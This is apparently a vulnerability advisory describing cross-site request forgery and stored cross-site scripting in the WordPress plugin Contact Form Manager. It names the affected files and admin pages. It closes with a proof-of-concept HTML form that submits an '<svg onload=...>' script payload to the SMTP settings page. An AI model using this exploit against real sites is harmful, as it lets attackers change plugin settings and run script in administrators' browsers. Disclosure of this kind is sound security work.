Abstract

It was discovered that Contact Form Manager does not protect against
Cross-Site Request Forgery. This allows an attacker to change arbitrary
Contact Form Manager settings. In addtion, the plugin also fails to
apply proper output encoding, rendering it vulnerable to stored
Cross-Site Scripting.

These issues exists, because the plugin lacks an anti-CSRF token. Also improper filtering/output encoding is done on $_POST parameters. These issues are present in the filed contact-form-manager/admin/add_smtp.php and contact-form-manager/admin/form-edit.php.

The username input field on the XYZ Contact > SMTP Settings is vulnerable for Cross-Site Scripting, as wel as the Contact Form Name input field on the XYZ Contact > Contact Form page.

SMTP Settings URL:
http://<target>/wp-admin/admin.php?page=contact-form-manager-manage-smtp

Contact Forms URL:
http://<target>/wp-admin/admin.php?page=contact-form-manager-managecontactformsp
Proof of concept

<html>
<body>
<form id="f1" method="POST" action="http://<target>/wp-admin/admin.php?page=contact-form-manager-manage-smtp&action=add-smtp">
<table>
<tr><td>xyz_cfm_SmtpAuthentication<td><input name="xyz_cfm_SmtpAuthentication" value="true" size="100"></tr>
<tr><td>xyz_cfm_SmtpEmailAddress<td><input name="xyz_cfm_SmtpEmailAddress" value="<svg onload=alert(document.domain)>" size="100"></tr>

</form>
<button onclick="document.getElementById('f1').submit()">Submit</button>
